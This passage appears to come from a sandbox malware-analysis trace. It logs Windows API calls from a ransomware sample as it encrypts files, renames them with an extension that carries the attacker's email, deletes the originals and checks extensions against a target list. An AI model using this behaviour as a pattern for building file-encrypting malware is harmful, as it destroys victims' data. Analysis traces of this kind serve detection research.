dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0089.151] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=1150) returned 1 [0089.151] CloseHandle (hObject=0x33c) returned 1 [0089.151] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 0x80 [0089.152] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.152] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0089.152] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.152] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.152] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0089.153] GetLastError () returned 0x0 [0089.153] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x47e, lpOverlapped=0x0) returned 1 [0089.155] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x480, lpOverlapped=0x0) returned 1 [0089.156] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.156] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xee, lpOverlapped=0x0) returned 1 [0089.156] SetEndOfFile (hFile=0x350) returned 1 [0089.157] CloseHandle (hObject=0x350) returned 1 [0089.159] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.159] SetEndOfFile (hFile=0x33c) returned 1 [0089.162] CloseHandle (hObject=0x33c) returned 1 [0089.162] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.163] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0089.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.163] lstrlenW (lpString=".doc") returned 4 [0089.163] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.163] lstrlenW (lpString=".docx") returned 5 [0089.163] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0089.163] lstrlenW (lpString=".pdf") returned 4 [0089.163] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.163] lstrlenW (lpString=".xls") returned 4 [0089.163] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.163] lstrlenW (lpString=".xlsx") returned 5 [0089.163] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0089.163] lstrlenW (lpString=".ppt") returned 4 [0089.163] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.163] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.163] lstrlenW (lpString=".zip") returned 4 [0089.163] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.163] lstrlenW (lpString=".rar") returned 4 [0089.163] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.163] lstrlenW (lpString=".bz2") returned 4 [0089.163] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.163] lstrlenW (lpString=".7z") returned 3 [0089.164] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.164] lstrlenW (lpString=".dbf") returned 4 [0089.164] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.164] lstrlenW (lpString=".1cd") returned 4 [0089.164] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.164] lstrlenW (lpString=".jpg") returned 4 [0089.164] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.164] lstrlenW (lpString=".doc") returned 4 [0089.164] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.164] lstrlenW (lpString=".docx") returned 5 [0089.164] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0089.164] lstrlenW (lpString=".pdf") returned 4 [0089.164] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.164] lstrlenW (lpString=".xls") returned 4 [0089.164] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.164] lstrlenW (lpString=".xlsx") returned 5 [0089.164] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0089.164] lstrlenW (lpString=".ppt") returned 4 [0089.164] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.164] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.164] lstrlenW (lpString=".zip") returned 4 [0089.164] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.164] lstrlenW (lpString=".rar") returned 4 [0089.164] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.164] lstrlenW (lpString=".bz2") returned 4 [0089.165] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.165] lstrlenW (lpString=".7z") returned 3 [0089.165] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.165] lstrlenW (lpString=".dbf") returned 4 [0089.165] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.165] lstrlenW (lpString=".1cd") returned 4 [0089.165] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.165] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0089.165] lstrlenW (lpString=".jpg") returned 4 [0089.165] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.165] lstrcmpiW (lpString1=".ico", lpString2=".kr") returned -1 [0089.165] lstrlenW (lpString="warn.ico") returned 8 [0089.165] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0089.165] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=10134) returned 1 [0089.165] CloseHandle (hObject=0x33c) returned 1 [0089.166] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0089.166] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.166] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0089.166] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.166] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.166] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0089.166] GetLastError () returned 0x0 [0089.166] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x2796, lpOverlapped=0x0) returned 1 [0089.168] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0089.169] ReadFile (in: hFile=0x33c, lpBuffer=0x4013020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a5fecc, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesRead=0x3a5fecc*=0x0, lpOverlapped=0x0) returned 1 [0089.169] WriteFile (in: hFile=0x350, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x3a5fc94, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0089.169] SetEndOfFile (hFile=0x350) returned 1 [0089.169] CloseHandle (hObject=0x350) returned 1 [0089.171] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.171] SetEndOfFile (hFile=0x33c) returned 1 [0089.172] CloseHandle (hObject=0x33c) returned 1 [0089.172] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0089.172] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0089.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.172] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.172] lstrlenW (lpString=".doc") returned 4 [0089.172] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.172] lstrlenW (lpString=".docx") returned 5 [0089.172] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0089.172] lstrlenW (lpString=".pdf") returned 4 [0089.173] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.173] lstrlenW (lpString=".xls") returned 4 [0089.173] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.173] lstrlenW (lpString=".xlsx") returned 5 [0089.173] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0089.173] lstrlenW (lpString=".ppt") returned 4 [0089.173] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.173] lstrlenW (lpString=".zip") returned 4 [0089.173] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.173] lstrlenW (lpString=".rar") returned 4 [0089.173] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.173] lstrlenW (lpString=".bz2") returned 4 [0089.173] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.173] lstrlenW (lpString=".7z") returned 3 [0089.173] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.173] lstrlenW (lpString=".dbf") returned 4 [0089.173] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.173] lstrlenW (lpString=".1cd") returned 4 [0089.173] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.173] lstrlenW (lpString=".jpg") returned 4 [0089.173] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.173] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.173] lstrlenW (lpString=".doc") returned 4 [0089.174] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0089.174] lstrlenW (lpString=".docx") returned 5 [0089.174] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0089.174] lstrlenW (lpString=".pdf") returned 4 [0089.174] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0089.174] lstrlenW (lpString=".xls") returned 4 [0089.174] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0089.174] lstrlenW (lpString=".xlsx") returned 5 [0089.174] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0089.174] lstrlenW (lpString=".ppt") returned 4 [0089.174] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0089.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.174] lstrlenW (lpString=".zip") returned 4 [0089.174] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0089.174] lstrlenW (lpString=".rar") returned 4 [0089.174] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0089.174] lstrlenW (lpString=".bz2") returned 4 [0089.174] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0089.174] lstrlenW (lpString=".7z") returned 3 [0089.174] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0089.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.174] lstrlenW (lpString=".dbf") returned 4 [0089.174] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0089.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.174] lstrlenW (lpString=".1cd") returned 4 [0089.174] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0089.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0089.174] lstrlenW (lpString=".jpg") returned 4 [0089.174] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0089.175] lstrcmpiW (lpString1=".mzz", lpString2=".kr") returned 1 [0089.175] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0089.175] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0089.175] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=181483595) returned 1 [0089.175] CloseHandle (hObject=0x33c) returned 1 [0089.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0089.175] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0089.175] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[blablacar@airmail.cc].kr")) returned 1 [0089.176] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0089.176] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc64 | out: lpNewFilePointer=0x0) returned 1 [0089.176] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.176] ReadFile (in: hFile=0x33c, lpBuffer=0x4013058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4013058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.184] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.184] ReadFile (in: hFile=0x33c, lpBuffer=0x4053058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4053058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.187] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x3a5fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.188] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc24 | out: lpNewFilePointer=0x0) returned 1 [0089.188] ReadFile (in: hFile=0x33c, lpBuffer=0x4093058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x3a5fc30, lpOverlapped=0x0 | out: lpBuffer=0x4093058*, lpNumberOfBytesRead=0x3a5fc30*=0x40000, lpOverlapped=0x0) returned 1 [0089.492] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fec0 | out: lpNewFilePointer=0x0) returned 1 [0089.492] WriteFile (in: hFile=0x33c, lpBuffer=0x4013020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x3a5fca8, lpOverlapped=0x0 | out: lpBuffer=0x4013020*, lpNumberOfBytesWritten=0x3a5fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0089.508] SetEndOfFile (hFile=0x33c) returned 1 [0089.509] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0x40000) returned 0x4293e80 [0089.514] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0089.514] WriteFile (in: hFile=0x33c, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0089.515] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0089.515] WriteFile (in: hFile=0x33c, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0089.516] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x3a5fc74 | out: lpNewFilePointer=0x0) returned 1 [0089.516] WriteFile (in: hFile=0x33c, lpBuffer=0x4293e80*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x3a5fc80, lpOverlapped=0x0 | out: lpBuffer=0x4293e80*, lpNumberOfBytesWritten=0x3a5fc80*=0x40000, lpOverlapped=0x0) returned 1 [0089.518] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4293e80 | out: hHeap=0x440000) returned 1 [0089.520] CloseHandle (hObject=0x33c) returned 1 [0094.010] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x80) returned 1 [0094.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.010] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.010] lstrlenW (lpString=".doc") returned 4 [0094.010] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0094.010] lstrlenW (lpString=".docx") returned 5 [0094.010] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0094.011] lstrlenW (lpString=".pdf") returned 4 [0094.011] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0094.011] lstrlenW (lpString=".xls") returned 4 [0094.011] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0094.011] lstrlenW (lpString=".xlsx") returned 5 [0094.011] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0094.011] lstrlenW (lpString=".ppt") returned 4 [0094.011] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0094.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.011] lstrlenW (lpString=".zip") returned 4 [0094.011] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0094.011] lstrlenW (lpString=".rar") returned 4 [0094.011] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0094.011] lstrlenW (lpString=".bz2") returned 4 [0094.011] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0094.011] lstrlenW (lpString=".7z") returned 3 [0094.011] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0094.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.011] lstrlenW (lpString=".dbf") returned 4 [0094.011] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0094.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.011] lstrlenW (lpString=".1cd") returned 4 [0094.011] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0094.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.011] lstrlenW (lpString=".jpg") returned 4 [0094.011] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0094.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.011] lstrlenW (lpString=".doc") returned 4 [0094.011] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0094.011] lstrlenW (lpString=".docx") returned 5 [0094.012] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0094.012] lstrlenW (lpString=".pdf") returned 4 [0094.012] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0094.012] lstrlenW (lpString=".xls") returned 4 [0094.012] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0094.012] lstrlenW (lpString=".xlsx") returned 5 [0094.012] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0094.012] lstrlenW (lpString=".ppt") returned 4 [0094.012] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0094.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.012] lstrlenW (lpString=".zip") returned 4 [0094.012] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0094.012] lstrlenW (lpString=".rar") returned 4 [0094.012] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0094.012] lstrlenW (lpString=".bz2") returned 4 [0094.012] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0094.012] lstrlenW (lpString=".7z") returned 3 [0094.012] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0094.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.012] lstrlenW (lpString=".dbf") returned 4 [0094.012] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0094.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.012] lstrlenW (lpString=".1cd") returned 4 [0094.012] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0094.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0094.012] lstrlenW (lpString=".jpg") returned 4 [0094.012] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0094.012] lstrcmpiW (lpString1=".msu", lpString2=".kr") returned 1 [0094.013] lstrlenW (lpString="Windows6.1-KB958488-v6001-x64.msu") returned 33 [0094.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.013] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x3a5ff14 | out: lpFileSize=0x3a5ff14*=5091790) returned 1 [0094.013] CloseHandle (hObject=0x33c) returned 1 [0094.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu")) returned 0x80 [0094.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x64.msu.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0094.013] MoveFileW 